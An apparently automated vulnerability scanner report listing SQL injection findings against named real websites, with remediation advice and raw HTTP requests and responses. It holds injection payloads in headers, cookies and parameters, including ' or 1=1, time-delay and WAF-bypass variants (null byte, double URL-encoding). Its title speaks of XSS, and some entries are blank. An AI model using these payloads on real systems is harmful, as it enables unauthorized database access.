XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, 05152011-02

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

1.1. http://ad.doubleclick.net/adj/bottom.interactive.wsj.com/business_econ_front [Referer HTTP header] next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ad.doubleclick.net
Path:	/adj/bottom.interactive.wsj.com/business_econ_front

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /adj/bottom.interactive.wsj.com/business_econ_front;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;ord=5370537053705370; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=%00'
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:14:06 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 3429

document.write('\n\n\n<script src=\"http://s0.2mdn.net/879366/flashwrite_1_2
...[SNIP]...
ript>');document.write('\n \n');

var dcallowscriptaccess = 'never';
var plugin = false;
var advurl = 'http://www.unigo.com/wsj/';
var alttext = '';
var dcgif = 'http://s0.2mdn.net/1146650/JIE_UnigoFail_300x250.jpg';
var dccreativewidth = '300';
var dcwmode = 'opaque';
var imgurl = 'http://www.unigo.com/wsj/';
var target = '_blank';
var dcbgcolor = '';
var dcswf = 'http://s0.2mdn.net/1146650/JIE_Unig
...[SNIP]...

Request 2

GET /adj/bottom.interactive.wsj.com/business_econ_front;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;ord=5370537053705370; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=%00''
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 10:14:07 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 3521

document.write('\n\n\n<script src=\"http://s0.2mdn.net/879366/flashwrite_1_2
...[SNIP]...

1.2. http://fanpeeps.com/ [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /? HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;
Referer: http://www.google.com/search?hl=en&q='

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:19 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18095

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:19 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.3. http://fanpeeps.com/ [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the User-Agent HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /?action=page&pid=&page=contact HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)%2527
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:48:17 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 19384

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

GET /?action=page&pid=&page=contact HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)%2527%2527
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:48:20 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 19473

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.4. http://fanpeeps.com/ [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/

Issue detail

The __utma cookie appears to be vulnerable to SQL injection attacks. The payload ')waitfor%20delay'0%3a0%3a20'-- was submitted in the __utma cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /? HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2')waitfor%20delay'0%3a0%3a20'--; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:14 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17473

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.5. http://fanpeeps.com/ [__utmb cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The __utmb cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmb cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the __utmb cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /?action=page&pid=&page=contact HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380%2527;

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:53 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 19466

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:54 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 37908

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.6. http://fanpeeps.com/ [__utmb cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/

Issue detail

The __utmb cookie appears to be vulnerable to SQL injection attacks. The payload 11256744'%20or%201%3d1--%20 was submitted in the __utmb cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /?pid=&idol=&action=tweets HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.130537638011256744'%20or%201%3d1--%20;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:47:09 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 19582

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.7. http://fanpeeps.com/ [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/

Issue detail

The __utmc cookie appears to be vulnerable to SQL injection attacks. The payload )waitfor%20delay'0%3a0%3a20'-- was submitted in the __utmc cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /? HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936)waitfor%20delay'0%3a0%3a20'--; __utmb=181893936.9.10.1305376380;

Response

1.8. http://fanpeeps.com/ [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The __utmc cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmc cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:47:46 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17944

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:47:47 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17567

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.9. http://fanpeeps.com/ [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:34 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 19385

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:38 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 36516

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

1.10. http://fanpeeps.com/ [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. The payload %00' was submitted in the __utmz cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request

GET /? HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)%00'; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:43:57 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17317

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.11. http://fanpeeps.com/ [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. The payload '%20and%201%3d1--%20 was submitted in the __utmz cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /? HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'%20and%201%3d1--%20; PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:46:25 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17308

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.12. http://fanpeeps.com/ [idol parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/

Issue detail

The idol parameter appears to be vulnerable to SQL injection attacks. The payload 67989367'%20or%201%3d1--%20 was submitted in the idol parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /?pid=&idol=67989367'%20or%201%3d1--%20&action=tweets HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:22 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 19647

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.13. http://fanpeeps.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ',0,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /??1',0,0,0)waitfor%20delay'0%3a0%3a20'--=1 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:45:56 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 17361

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...

1.14. http://fanpeeps.com/ [pid parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://fanpeeps.com
Path:	/

Issue detail

The pid parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the pid parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /?action=news&pid=18'&iid=6 HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/worldcup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936; __utmb=181893936.2.10.1305373774

